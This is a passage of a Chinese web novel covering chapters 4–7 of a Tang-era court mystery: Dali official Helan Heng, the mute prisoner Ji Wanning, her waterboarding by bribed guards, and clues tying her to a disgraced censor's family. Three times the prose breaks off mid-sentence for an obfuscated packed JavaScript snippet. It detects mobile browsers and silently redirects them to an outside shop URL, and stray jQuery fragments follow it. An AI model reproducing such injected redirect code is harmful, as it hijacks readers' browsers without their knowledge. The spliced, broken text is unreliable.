贺兰珩展开过所文书,这是入京必不可少的凭证,上面写着“季晚凝,年十七,润州人氏”等字样,还记录了她进京时携带的物品:“裙衫两件、铜钱三百文、香球一枚……”。
香球由金银镂雕而成,比香囊贵重得多,也比她包裹里所有的东西都要值钱,通常是贵族所用。
贺兰珩长眉微敛,对季晚凝的怀疑愈发深了。
她出身农户,不仅行书姿态端凝娴雅,还能写出一手名门才女那般的小楷,贺兰珩想起自家五妹的那手字,不提也罢。
只剩下几日的破案时限,她若撒谎,他也来不及赶到她的户籍地调查。
谶书案的犯人里最可疑的就是冯掌柜和这名唯一的女囚。
冯砚真已经挨了不少刑,嘴严得很,一句也不肯改口。
而季晚凝外表看着老实,却没几句实话。上回使计逼她承认了自己识字,同样的招数没法再用第二次,是时候上刑具了。
贺兰珩把桌上的供状放回漆木盒里,上了锁搁在书架上,掀眸看了眼角落里的金虬铜漏,已是亥时二刻。
4. 上刑
小六走进值房,左手拎着坛酒,右手端着一盘花生米。
“姐夫,这是我新买的浮蚁酒,孝敬你的。”小六举起坛子,给狱丞的酒爵斟满。
“你小子,终于想起你姐夫来了。”狱丞拍了拍大腿,端起酒爵咂了一口。
“这谶书案忒熬人了。”小六也给自己满上一杯,抿着酒,那双颊凹陷、布满鸡皮的脸上露出了舒缓之色。
“嗯,过几日就好了。”狱丞甩了甩大耳朵,“贺兰卿做事也太狠了。”
小六被酒辣得挤了挤眼睛,道:“那冯砚真被单独关在地牢里,我看身上都快没一块完整的皮了,啧啧。”
“可不么,贺兰卿还把冯砚真绑在刑架上,让人看着整宿熬鹰,弟兄们都没睡过几个好觉。”狱丞仰头一饮而尽,把空酒爵撂在桌上。
“姐夫,今晚你就早点儿歇下吧。”小六道。
“嗯,那我先去歇着了。”狱丞起身撩开里间的帘子,“你睡不睡?”
“我不睡,我守着。”小六把酒干了,抹了把嘴回道。
帘子落下,油灯的火苗摇了几摇之后熄灭了。
月光斜入铁窗,大理狱中一片阒静,只有夜漏的滴水声。
季晚凝独自一人卧在草席上熟睡,隐约中一束烛光毫无预兆地照在了她的脸上。
“别睡了,起来!大理卿着令夜审!”
季晚凝骤然从睡梦中被拉了出来,不情愿地翻了个身,看见小六同两个狱吏立在她头顶,眈视地看着她。
她柳眉蹙紧,抬手遮了下明晃晃的灯光,狱吏见她迟迟不动,俯下身拽住她的胳膊,径直将她单薄的身子提了起来。
季晚凝被推搡进了刑讯室,甫一进屋,就有一股血腥气和腐臭味直冲鼻尖,她立时清醒了过来。
壁龛里灯火昏暗,怒目圆睁的狴犴铜像蹲坐在四角,格外可怖。
中央摆着个条凳,墙壁边陈列着刑具架,架上悬挂着鞭、笞、板等刑具,墙里还嵌有挂着血迹和肉沫的虎爪钉。
季晚凝顿时感到有些反胃,掌心渗出了一层冷汗。
上次该答的她都答了,大半夜又提审什么?
她捏紧十指看向小六,小六目光森冷地递了个眼神。
那两个狱吏不由分说将季晚凝按在了条凳上,她挣扎着蹬向他们,可很快就被钳制得动弹不得,像砧板上待宰的一条鱼。
“知道什么是水刑吗?”小六抄起案上的水壶说道。
季晚凝心里一坠,直直瞪着他,旋即她的脸就被盖上了一块大布,什么也看不见了。
冷水哗哗地倾倒下来,源源不断地顺着季晚凝的口鼻灌了进来,呛得她不停地咳嗽,如同溺水一样,窒息感瞬间攫住了她。
“这下知道了吧?”小六暂停下来,阴恻恻的声音在她耳畔响起。
季晚凝被又湿又沉的布糊着脸,艰难地喘着气,胸膛不停地起伏。
还没等她吸上几口空气,紧接着小六高高举起铜壶,水又倒了下来。
季晚凝仰起脖颈,猛烈地晃动脑袋躲闪,狱吏却愈发凶狠地按住她的头。
她感觉自己被汹涌的潮水淹没了,紧攥着的拳头逐渐松软,呼吸也随之变得微弱,意识在混沌中沉沉浮浮。
眼前浮现出两个穿着绯袍的官员,在刑讯室里高坐在上首俯视着她。
一个虎眉宽脸,一个凸额大鼻,阶下手持狼牙鞭的酷吏一脚蹬在她胸口上,把她踹到了墙角。
她捂着胸口爬起来怒视着他们,可很快就没了力气,沉入了水底。
季晚凝指尖颤了颤,挣扎的手腕一松,有个声音对她说,好想睡一会儿,就一会儿……
恍惚间,她听见一阵急促的脚步声在地面上震开来。
哐!
伴随着巨响,一个洪亮的声音喝道:“住手!你们敢私自用刑?!”
断眉踹开刑讯室的门冲了进来,吓得正在倒水的小六手一抖,壶摔在了地上。
空气瞬间钻入鼻尖,吸进肺里,季晚凝猛地一下醒了过来。
她大口呼吸着,感到双腕上钳制的力量松懈了,她转动手腕用指甲使劲抠狱吏的手背。
“龟孙子,滚开!”小六啐了一口,“少坏老子好事!”
断眉二话不说薅住了小六的衣领,小六急忙抽出铁尺,两人缠斗在一处。
狱吏被季晚凝抓得吃痛,她趁机翻身从长凳上滚落,覆在脸上的湿布掉了下来。
季晚凝立刻抬起栓着铁链的腿甩向狱吏,链条狠狠抽在他的胯上,狱吏松开手,龇牙咧嘴地捂着要害蹲在地上。
另一个狱吏冷笑一声,猝不及防地将铁链勒在了季晚凝的脖子上。
季晚凝双手抓紧脖颈上的铁链,拼尽全力与他抗衡。
被踹的那个缓了一会儿后重新站起来,暴怒一声:“找死!”接着扑上前一起钳制她。
就在此时,一道黑影如闪电般疾速从空中划落。
两个狱吏同一时间感到后背一阵剧痛,随即嘴里涌上来一股腥甜。
“哪个狗杀材敢动老子?!”狱吏一张嘴便吐了口血出来。
两人咬着牙扭过头,霎时间喉头一噎,立马跪伏在地上,连连抽自己的嘴巴,磕头如捣蒜。
“属下知错了!”
“属下以后再也不敢了!”
季晚凝从地上撑坐起来,把缠绕在脖子上的铁链解开,擦了擦脸上的水,眼前雾蒙蒙的。
只见一个颀俊的身影手执制鞭走了过来,腰间的金玉蹀躞带收束出窄瘦的线条,佩剑垂至膝下,腿长如鹤,英气逼人。
“把这三人关起来。”
贺兰珩将鞭子挂回到刑具架上,语气冷硬地命道。
“喏!”断眉一边按着小六一边应声。
适才断眉在外面值夜时被小六支开了,便觉得有古怪,于是赶紧去殿里禀报贺兰珩。
断眉反剪住鼻青脸肿的小六,北苍从贺兰珩身后绕了出来,押着那两个后背血淋淋的狱吏出了刑讯室。
大理狱的制鞭格外硬,由生革制成并保留着棱角,加之贺兰珩力道重,两人已是皮开肉绽。
刑讯室里渐渐平息,贺兰珩垂眸看向地上的女郎,她沾满水珠的长睫轻轻眨动,眸光随烛火微微颤抖着。
凌乱的湿发黏在苍白的杏脸上,鼻尖红红的,双腕被铁链磨出了两圈红痕,水顺着脖颈滴涟涟地落在锁骨上,整个人如同被雨打湿零落的海棠。
贺兰珩薄唇轻启,声线低沉道:“你随我来。”
季晚凝缓缓站起身,整理下了囚衣,跟在他身后,铁链
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164443|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曳地的声音响起来,在夜里听着分外刺耳。
贺兰珩眉心微折,把前方的断眉叫住,下颌稍抬:“把季晚凝的镣铐解开,给他栓上。”
断眉拿出钥匙解开了季晚凝的镣铐,并悉数栓在小六身上,押解着他往男监去了。
季晚凝舒了口气,揉了揉酸痛的手腕。
贺兰珩来到女监叫了一个狱婆出来,狱婆一看季晚凝的上半身湿透了,就跟刚从水里捞出来一样,忙取了块干净的澡巾给她披上。
秦俪方才眯觑着眼假寐,这会儿听见动静,一个激灵起身扑到牢门前,撩开帘帐抻着脖子喊道:“三郎,我什么时候能出去?”
“贺兰三郎,我是秦俪啊……”
贺兰珩带着季晚凝往外走,目不斜视地从她身边走了过去,仿佛她是个死人一般。
秦俪急得直跺脚,盯着季晚凝想骂却又不敢,险些咬碎了银牙。
走出大理狱时已是夤夜时分,衙中冷清森肃,八月暑气已退,夜风中有了一丝凉气。
季晚凝跟着贺兰珩后面进了官廨,殿中立着几支高脚烛台,灯火荧煌。
贺兰珩把香炉里的龙脑香换成了沉水香,然后坐到上首的八扇黑漆描金屏风前面,翘头案上的酽茶还温热着。
季晚凝在一只矮几后坐下来,一边用澡巾擦拭着湿发,一边打量四周。
侧面立着一个檀木书架,架上整整齐齐陈列着书帙,中间贺兰珩的翘头案上摆着文房四宝,桌脚边则放着她的行囊。
季晚凝微微扬眉,她的行囊怎么会在这里?卫庚果然言而无信,害得她饿了好几天肚子。
她抿了抿唇,目光一移,停在了一只紫檀食盒上,怔怔地盯了半晌。
贺兰珩注意到她的眼神,站起身走过去,打开了放在案几上的食盒,从里面拿出来了一碟透花糍和一碗枸杞羹。
每次府里送来的晡食都装得很满,他用不了那么多,总会剩下一半。
“这些都是没动过的,眼下官厨已经下值了,你若不嫌弃凉,便填填肚子吧。”说着他把吃食放在了她面前。
季晚凝在牢里就吃过一顿饱饭,刚刚体力又透支,于是没跟他客气,向他福了福身,捧起了碗。
并不太凉,只是常温的。枸杞羹里面不止有枸杞,还添了羊肉和蛤蜊,一碗羹下肚,又吃了几枚豆沙馅的透花糍,软软糯糯,香甜可口。
季晚凝感到五脏六腑都熨帖了许多,冰凉的四肢也回暖了。
微风徐徐,金猊香炉里燃着沉水香,舒缓而悠长。
她隔着薄雾般的香霭瞄了眼贺兰珩,恍然想起方才听见秦俪唤他“贺兰三郎”。
这个名字她儿时听过,季晚凝记得他单名一个珩字,长她六七岁。
听闻贺兰三郎少有逸才,垂髫之年便下笔成章,棋艺更是娴熟精湛,赢了当年有“棋圣”之称的太子太傅后名动京师。
每逢她兄长贪玩时,父亲就会提起贺兰家的三郎,敲打他好好念书。
季晚凝敛回目光,看来秦俪和贺兰珩是认识的,估计家族之间不乏往来,难怪秦俪在大理狱里有恃无恐,不仅因为她家是权贵,还因为上面有贺兰珩的庇护。
官官相护,弱肉强食,而她和王露谣这种平民在权贵面前就是人为刀俎,我为鱼肉。
5. 兔子
贺兰珩端起黑釉茶瓯轻啜,茶汤里映着一双深潭似的眸子。
他微微抬眼,见季晚凝手里捏着一枚透花糍,若有所思地小口咬着,像只兔子一样不停地细细咀嚼,仔细一看却没吃多少。
想起那两个狱吏手背上的抓痕,有道是兔子急了也会咬人,她虽然不能言语,但也并非软弱可欺。
这时季晚凝吃完了最后一枚糕点,将空碗放回食盒里收拾好,坐回了原处。
贺兰珩放下茶瓯,轻轻摩挲修长的手指,方才他正要去刑讯室用刑审她,断眉就来禀报小六用私自用刑,打乱了他的计划。
不过眼下正是一个恰当的时机,恩威并济,软硬兼施,磨上几次不怕审不出实话来。
他凤眸半垂,掩去眼底的幽暗,道:“去把书架上的笔砚取来。”
季晚凝怏怏不悦地点了下头,他果然还是没放过她,可究竟还有什么要问的?
不过她还是依言取了过来,将宣纸铺在案几上。
贺兰珩状似随意地问了她几个以及关于她家乡润州和农耕的细节,以确认她是否润州的农户。
季晚凝淡定自若地提笔作答,滴水不漏,准确无误。
贺兰珩看不出破绽,默了少顷后他话锋一转:“你进京时可携带了一只香球,现在何处?”
季晚凝的手腕几不可察地迟疑了一下,而后写下两个字:“遗失。”
他将她细微的动作尽收眼底,继续问道:“那香球是你从何处得来的?”
季晚凝轻抿了下唇,落笔写道:“来京途中我宿在邸店,拾到房中前客遗留之物。”
贺兰珩问:“哪家邸店?”
还没待回答,侍卫北苍敲开了门,走过来道:“郎君,狱丞正候在外面,说是有要事禀报。”
贺兰珩将目光从季晚凝身上收回,起身来到门外。
狱丞弓着腰上前,低眉耸眼道:“贺兰卿,下官已将小六那狗贼关起来了,他说秦俪给了他一吊钱,让他教训下新来的那个哑女。”
季晚凝搁下笔,侧耳倾听。
她早已猜到了是秦俪所为,虽然上次她识破了她下毒的诡计,但秦俪依然可以用别的手段,防不胜防。一会儿再回到大理狱,不知她还会做什么。
贺兰珩眉心微敛:“卫尉寺少卿秦筝的女儿?”
“正是她。”狱丞答。
秦俪的案子是卫庚审理的,贺兰珩未曾放在心上。这么一提,他想起前阵子秦筝拎着父亲贺兰珩淳德钟爱的龙膏酒上门,表面上是找他说情,实际上是提醒他秦氏和父亲的交情。
他本不想买账,可刑部尚书又特意嘱咐他别为难秦俪。
贺兰珩交代卫庚将她的案子一拖再拖,本想让她在牢里吃点苦头灭灭气焰,谁想她本性难改。
“知道了,你先下去吧。”贺兰珩语气疏冷。
“贺兰卿放心,此事下官绝不外传。”狱丞连连点头哈腰,退后几步往回走,心道这黑锅应该是甩出去了吧。
贺兰珩扬首远眺狱门口微弱的灯光,在他来大理寺的数月里,除了几个根基深厚、难以拔除的官员外,已经换过一批血了。
下一个该轮到大理狱了。
他转身踏回殿内,季晚凝垂首坐在那里,烛光将她伶仃的肌骨勾勒出一条纤薄的弧线,一头半湿的青丝落在肩侧,刚浸过水的脸没有一丝血色,白如缟素。
见他进来,她抬起头望着他,眸中水雾氤氲,烛光落进去,宛如映在湖面上朦胧的秋月。
贺兰珩的眸光落在她身上,一贯的沉湛,看不出情绪。
不管怎么说,狱吏收受贿赂私自用刑,长官负有责任,这事若是传出去,恐被人评说他同罗逊是一丘之貉。
他喉结轻滚,启唇道:“起来吧。”
月色晏静如水,淌过石阶,院里扶疏的梧桐投下点点斑驳,随风影动。
长随东义正守在后衙里打着呵欠,蝉噪声忽远忽近,蚊子落在他的后颈上,叮得他一个激灵。
他使劲晃了下脑袋,正巧瞄见贺兰珩和北苍一前一后从前衙走进来,两人中间还跟着一个女郎,他忙醒了醒神,迎了上去。
等等……女郎?
东义使劲揉了揉困眼,又打了自己一巴掌,不是看重影了吧?
他挑灯来到近前一瞧,还是个穿着囚衣的女郎。
“郎君可算回来了,小人这就去吩咐烧热水盥洗。”
贺兰珩颔了下首,交代他:“给她寻一间耳房住上两日,严加看守。”
他打算先将季晚凝安置在后衙里,明日让卫庚抓紧给秦俪办理案子,等秦俪走了之后再把她关回去。
东义刚想着郎君下值了,他也终于能去睡了,没想到郎君派给他一个看管囚犯的任务,暗中叫苦不迭。
他应声,随后领着季晚凝找了间有床榻的耳房,简单拾掇了一下,细心地收走了所有尖锐物什和油灯,出去时挂了锁。
贺兰珩看着他安排妥当了之后,便回了寝室,把东义留在门外看守。
季晚凝独自在房里铺好床褥,在床上躺了下来。
贺兰珩没把她送回狱里让她有些意外,听刚才他和狱丞的谈话,他对秦俪的所作所为也不知情,或许他与秦家并不是蛇鼠一窝,不然也不会赶过来救她,还把她单独关到后衙了。
耳房虽然狭小简陋,但相比牢房强上许多,季晚凝很快就睡过去了。多年间辗转于大江南北,容不得认床的毛病,她向来沾枕就着。
难得一夜好眠,晨曦照进窗牖,季晚凝习惯了狱中的昏暗,竟觉得有些刺眼,把被子一蒙,翻身继续睡。
过了会儿,窗外响起了咚咚的声音,她起身下榻,推开窗,见东义送来了朝食。
“这是郎君一大早遣北苍从官厨打来的,娘子趁热用吧。”
盘里有一碗翡翠面,一碗茗粥和一枚鸭蛋,看起来挺丰盛,毕竟是官饭。
季晚凝心满意足,轻弯眉眼接过了食盘。
金辉洒在她脸上,将眸子映得好似琉璃一般清透,莹白的脸颊恢复了一丝红润的气色。
东义看得一时晃了神。
他阖上窗,心道,难怪。
昨日郎君领她回来时,他还甚为不解,但也不敢多嘴,今日仔细一瞧这女囚的相貌,他才恍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164444|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悟。
可是不对啊,郎君一向对美人的兴致还不如死尸,房里连个宠婢侍妾都没有。
东义琢磨了半晌,摇摇头,猜不透,郎心难测。
季晚凝吃了热乎乎的饭后躺在榻上,阳光和煦,照在小小的一间屋里刚刚好,她的手脚还有些酸痛,但无大碍。
过了晌午,季晚凝听见窗外有说话的声音,一个清脆的女声道:“东义,你站在这儿干什么呢?”
“郎君吩咐的,你就别问了。”东义支支吾吾道。
“郎君罚你站了?”
“唔……可不么,昨晚我值夜时打瞌睡,被郎君抓了个正着。”东义顺势说道。
女郎一副打破砂锅问到底的架势,声音凑得更近了,几乎贴在窗纸上:“这屋里面有什么东西?”
“没什么,你瞧这门都锁着呢。”
女郎不解道:“那你站这儿做什么?”
“这儿不晒。”东义往檐下挪了挪。
“我说你可真是傻实诚,郎君又不在,偷会儿懒怎么了?”女郎嗤笑道。
“春彤,话不能这么说,不论郎君在不在,咱们下人都得尽忠职守。”东义一脸认真道。
“啧,那你站着吧,我去午憩了。”春彤撇了撇嘴。
东义瞅她往南房走去了,舒了口气。
郎君私自把囚犯从狱里带出来,嘱咐他不得乱说,东义也明白,若是不慎让其他别有用心的官员知道了,奏上一道,或许郎君连乌纱帽都不保了。
那春彤虽是郎君的婢女,但是个大嘴巴,东义不得不小心谨慎。
前衙里。
大理少卿杨司浦一边摇着羽扇,一边用手帕擦着额上不断渗出的汗珠,抱怨道:“这天气怎么还这么热。”
“这都立秋了,马上就凉快了。”狱丞看了眼他肥胖的身子,说道。
“你刚刚说,昨晚贺兰珩带了个谶书案的女囚进殿里?”杨司浦斜晲着眼问道。
狱丞笃定道:“千真万确,下官亲眼看见的。”
“不过是夜里提审吧,毕竟这案子紧急,案犯又多,这种事以后就不用报了。”杨司浦状似不在意道。
狱丞不说话,歪嘴笑着,眼里浮着油滑的光。
杨司浦停下摇扇的手,沉着脸从袖里掏出两吊钱来:“少故弄玄虚,说不说随你。”
狱丞却没接,将他的手推了回去:“杨少卿这可折煞下官了,我敢保证,用不了多久,下官就该改口称杨大理了。”
杨司浦闻言掩饰不住地翘起嘴角。
自打贺兰珩上任后,他的亲信几乎全被除掉了,换上自己人,办案也只交给他一些不重要的案子,显然不信任他,现在把他架空,下一步就是撵他走了。
杨司浦入仕以来就没受过这窝囊气,打翻身仗的机会终于来了。
他神色得意道:“等本官升迁之后,少不得提拔你,但也要看你有几分价值。”
狱丞见好就收,把那两吊钱摸过来塞进袖子里,晃了晃,沉甸甸的。
而后他附在杨司浦耳边,压低声音道:“直到现在,那名女囚都没回大理狱。”
6. 身世
与此同时的官廨中。
贺兰珩抿了一口酽茶,问卫庚:“你对十年前那桩御史案所知多少?”
“当时下官不在京师任职,对朝中的事知道得也不甚详尽,不过此案是当年震惊朝野的重案,耳熟能详。”
卫庚摸了摸下巴,将案子经过娓娓道来。
十年前,吐蕃突袭陇右治所鄯州,绕开布防一路烧杀抢掠,之后迅速撤退。
陇右一军官上奏,陇右节度使靳长恺给吐蕃提供兵器和布防图,置换好处,欲通敌谋反。
朝中削藩党见状,直谏天子严厉惩处靳长恺。
于是天子派遣时任御史大夫的陈澍前去陇右将靳长恺带回京受审。
陈澍从陇右回来之后,称靳长恺的确通敌不假,且以御敌为由抵死不回京。
天子当即下令褫夺靳长恺官职,兵部大怒,斥责陈澍空口污蔑忠臣良将。
此时宋熙,即当今左相,截获了陈澍给吐蕃的密函,后又从陈府中搜到了陇右布防图的拓本。
“铁证如山,陈澍在刑部大牢里对自己勾结外敌、栽赃靳长恺的罪证供认不讳。他买通了陇右军官,得到布防图后交给吐蕃,并让那军官上奏诬蔑靳长恺,而此人已经被他灭口了。”
这些贺兰珩基本都清楚,虽然当时他时年不过十四,但对于朝政也有些了解。
后来陈澍被斩首并夷三族,为他上书抗辩的林台丞等御史也被视为同党流放至边障之地,先后死在了贬所,家眷悉数籍没为奴,那身亡的掖庭宫女就是其中之一。
案子真相大白后,坊间群情激奋,曾经深受百姓尊敬的贤臣陈澍被痛骂为鹤面枭心的奸贼。
百姓们转而拥护靳长恺,靳长恺也不负众望,十年来与吐蕃的战役连连大捷,守护了边疆安稳。
贺兰珩问道:“陈澍身为御史大夫,怎会与吐蕃勾结?”
“陈澍曾经数次出使吐蕃和谈,精通吐蕃语,赞普十分钦佩他的睿智和谈吐。”卫庚道,“而且他是削藩党,多次劝谏圣人称节度使兵权过大,有危及朝廷之患,而圣人左右为难迟迟不决。陈澍此番就是想拿靳长恺开刀,若真让他阴谋得逞,陇右将帅被清洗,边疆必将遭殃。”
“那么陈澍如今可还有残党?”
“不曾听说,该清算的都清算了,谁会给一个罪不容诛的奸臣说话,那不是自寻死路吗?”卫庚义愤填膺,“依我看那所谓的谶书不过是故弄玄虚,陈澍案是个铁案,翻不了的。”
贺兰珩眉宇微蹙,沉吟道:“或许‘针’是政敌企图借尸还魂,除掉靳长恺。”
卫庚点首称善:“极有可能。”
贺兰珩拂袖起身:“我出去一趟,你再去找找陈澍案的卷宗。”
“喏。”卫庚应声。
当年主审陈澍案的是大理卿罗逊和刑部尚书吴道坤,罗逊如今已死,贺兰珩只得去找吴道坤询问案情。
吴道坤所说与卫庚毫无二致,而且卷宗保存在大理寺,刑部那里没有。
次日他又拜访了友人靳然——靳长恺的幺子,也没打听出什么新的线索。
贺兰珩还剩最后一个人可以问,那就是他的父亲贺兰淳德,曾与陈澍交情匪浅,可不巧前阵子父亲去了洛阳,不知回来没有。
申时刚过,一辆鎏金马车在贺兰府的乌头大门前停下,仆从撩开车幔,贺兰珩掀袍下了车。
回府后他换上了一袭湛青色的常服,头上束着墨玉冠,去了中堂。
堂中银屏画帷,四角的柱子镶着明珠,房梁皆以沉檀木打造,暗香浮动。
一个妆饰华艳的妇人端坐在中央,云鬓高耸,珠围翠绕,身披霞绡衣,手臂上箍着金臂环,露出两截丰腴的腕子来。
她是贺兰珩的母亲蓬莱县主,也是当今天子的堂姐。
贺兰珩迈进堂里,行礼问安。
谶书案以来他已经一连多日不曾回过家,县主方才听下人说了儿子回来了,马上升堂等他。
她喜眉笑目地张罗道:“快坐下,谦晔近来操劳,尝尝周嬷嬷刚煎的霍山小团,有养肝明目之效。”
说罢,周嬷嬷端着茶盘上前来给他侍茶。
贺兰珩坐下道:“这几日儿不在府中不能尽孝,阿娘身体可好?”
县主抬起养尊处优的白皙手指揉了揉太阳穴,半嗔半怨道:“你公务忙,身边也没个人照料,阿娘整日为你忧心,你瞧愁得我又多了几根白头发。”
贺兰珩看着她的一头乌发道:“后衙有孙嬷嬷在,阿娘不必担心。”
“孙嬷嬷年岁大了,还能照料你多少时日?”县主说着眼波一转,不知从哪拿出了一摞子画轴来递给他。
“这是我层层把关给你挑选的几家名门闺秀,品貌兼具,你来看看。”
贺兰珩伸手接过,漫不经心地翻着这些不知看过多少遍的画像。
县主在一旁不厌其烦地一一介绍女郎的家世和性情。
贺兰珩阖上卷轴道:“阿耶还没回长安?”
“没有呢,你找他有事?”
他略一颔首,既然父亲不在,只好问母亲了:“阿娘可还记得陈御史?”
“哪个陈御史?”
县主一脸懵然,难道他是相中了哪个御史的女儿,想让她作主?也不是不行。
贺兰珩道:“曾经的御史大夫,陈澍。”
县主一听这个名字,面色旋即沉了下来。
“怎么不记得?那陈澍一贯以公忠体国、德才兼备著称,谁想大奸似忠,竟然用那等龌龊手段陷害忠良,害得全家妻小也悉数遇难。”
“遇难?”贺兰珩抬眸,“陈澍不是被夷了三族?”
县主挥手屏退了下人,道:“我听你阿耶说,陈澍的家眷当时已经逃出了长安,结果却死在了半路。”
贺兰珩眸光闪动:“怎么死的?”
“马车坠崖,尸骨无存。”县主撩起眼皮看他,“你怎么突然想起来问这个?”
“查案所需。”贺兰珩言简意赅,“阿娘还记得些其他什么?”
“有啊,你阿耶……”县主刚一开口又辍然停住。
“阿耶如何?”贺兰珩道。
“没什么。”县主摆了摆手,那神情仿佛在驱散晦气,“我同陈澍不熟,倒是与陈夫人来往
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164445|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多些。”
贺兰淳德好交际,友人遍布四海,所以她与不少官夫人都有来往,包括陈夫人在内,但多是窗纸之谊,一捅就破。
陈夫人出自已经没落的前朝旧族,县主看不起她的家世门第,却又暗暗嫉妒她姿容擢世、才情出众。
不过得知她死了之后,县主又觉心有戚戚,所嫁非人,最是不幸。
她回忆道:“我记得她家有一儿两女,陈夫人当年在京中颇具佳名,被誉为长安最美的官夫人,听说她待嫁闺阁时,倾慕者多得能从街头排到巷尾,可惜她眼光不行……”
贺兰珩垂下眸光,手指轻搭在茶瓯一侧。
这些信息似乎跟案子关系不大,没什么用处。他打算寻个话题岔开,不然母亲可以滔滔不绝说上两日。
县主却没察觉,继续道:“陈夫人善书小楷,善画仕女,她母家虽算不上显赫,门丁也不旺盛,但毕竟也是书画世家——兰陵季氏。”
“哪个季……”
贺兰珩话到嘴边顿止,一抹电光划过眼前。
还能有哪个季?
自然是季晚凝的季!
他骨节分明的手指紧紧捏住杯沿,唇角牵起一个自嘲似的冷笑,霍然起身道:“阿娘,儿想起衙署里还有公务,先告辞了。”
“欸?怎么说走就走,那这画像呢?”
贺兰珩心不在焉地随口道:“不过尔尔。”
旋即便纵步迈出了堂门。
县主阻拦不及,无奈由他去了。她疑惑地拾起那摞画像,这还叫“不过尔尔”?怕是眼神不好使吧?
虽与年轻时的季氏比起来相形见绌,但已是如今长安城中的佼佼者,门第显赫,才貌双全,眼光高到天上去是娶不到妻的!
贺兰珩已经二十有四,婚事却迟迟没有眉目,县主心里着急。
贺兰淳德从前有意和陈家结亲,那时陈澍如日中天,不过还没过婚书陈澍就家破人亡了。
现在也没必要再提起了,是以她方才没说出口,谁想跟罪臣扯上关系呢。
“阿娘,我散堂了!”
五娘贺兰容嫣跑了进来,匆匆行了个礼,坐在县主身边道:“阿兄怎么刚回来就走了!”
“三郎公务繁忙,五娘过了腊八也该十三了,长大了,没事别老缠着你阿兄。”县主给她整理着发髻,“来,让阿娘检查下你的书法进步了没有?”
“那是自然,前阵子先生还夸我来着呢!”容嫣眼睛亮晶晶的,从挎囊中摸出几张宣纸来。
县主接过一瞧,扶额踌躇道:“是、是进步了。”
她着实没看出跟之前有什么区别,闺女这份自信也不知随了谁。
“女儿没骗你吧!”容嫣冲她连连眨眼,“那纱罗能不能分我一点?就一点。”
吴越的纱罗是入贡的珍品,宫里赏赐了县主几匹,她自己都不够用的。
“回头阿娘让人给你做一件帔巾。”县主戳了戳她的小脑门。
“多谢阿娘,阿娘就是世上最美的!”容嫣搂住她的脖子道。
县主笑道:“你这孩子,怎么小小年纪就这么爱臭美。”
7. 天赐
天光一寸寸暗下来。
季晚凝已经在耳房里呆了两日,王露谣不在,没人跟她说话有些闷得慌。
当然她不是想回牢里,自从走出大理狱之后她就更加不想再回去了。
得想个办法。
她起身下榻来到窗边,轻轻推了推,窗牗从外面上了锁,只有东义来送饭的时候才会打开。
不过耳房不是牢狱,窗是用纸糊的木窗,不是铁窗,只要趁东义睡着的时候,把窗纸捅破就可以钻出去。
但是据她观察还有别的侍卫轮班,几乎日夜都有人看守。
东义看起来更好说话些,可以从他入手试试。
思及此,季晚凝抬手叩了叩窗槛,却没人应。
忽然,朦胧的窗纸上晃过一抹影子,身量高挑,头束簪冠,显然不是东义。
须臾后,就听门外的铜锁锒铛响了起来,木门猛地被推开了。
她循声回首,狭小的房间瞬时被一股铺天盖地的压迫感填满。
贺兰珩立在门口,眉峰镇敛,乌沉沉的黑眸轧过她的视线。
“出来。”
他吐字极淡,语声下却潜伏着不可名状的暗涌。
季晚凝一怔,注意到他穿着常服,是什么事让他下值后又赶了回来?
她轻移脚步,跟着他走出耳房,北苍垫后。
东义贴在檐下的墙壁上,和北苍无言地对视了一眼,垂下头眼观鼻鼻观心。
从后衙来到前衙,季晚凝本以为他要把自己关回大理狱,却见贺兰珩径直进了官廨。
北苍点上四角的青铜仙鹤烛台,将笔砚备好放在地上之后便退出去在门外把守。
殿里没有一丝风,呼吸声纤毫可辩,金炉里的沉水香丝丝缕缕浮滞在空中,如聚拢的墨云,遮天蔽日。
烛光将贺兰珩的影子拉得很长,映在身后的屏风上。
他将笏板扔在案头,低沉的声音里透着威压:“今日早朝时圣人下了诏令,凡涉谶书案的案犯尽数斩首。”
季晚凝跪伏在地上,呼吸轻浅,刚立秋的天气,却觉寒栗遍身。
他眉宇低压,眼尾微挑,带着不近人情地漠然:“你可知十余名死囚一路斩下来铡刀有多钝?轮到你时,你没钱打点刽子手,脖子砍下去大半,剩下的连皮挂在身上。”
“你可有兴致体验一番?”
季晚凝纤颈低垂,感到脖子后面一片冰凉,一股将死的气息渗进骨髓里。
他冷觑着她,眼里没有丝毫的悲悯,只有精准丈量人性的锋锐。
“抬起头来,给你最后一次机会,如实回答本官的问题。”
季晚凝微微扬起脸望向他,嘴唇有些干涩,可不敢舔舐一下。
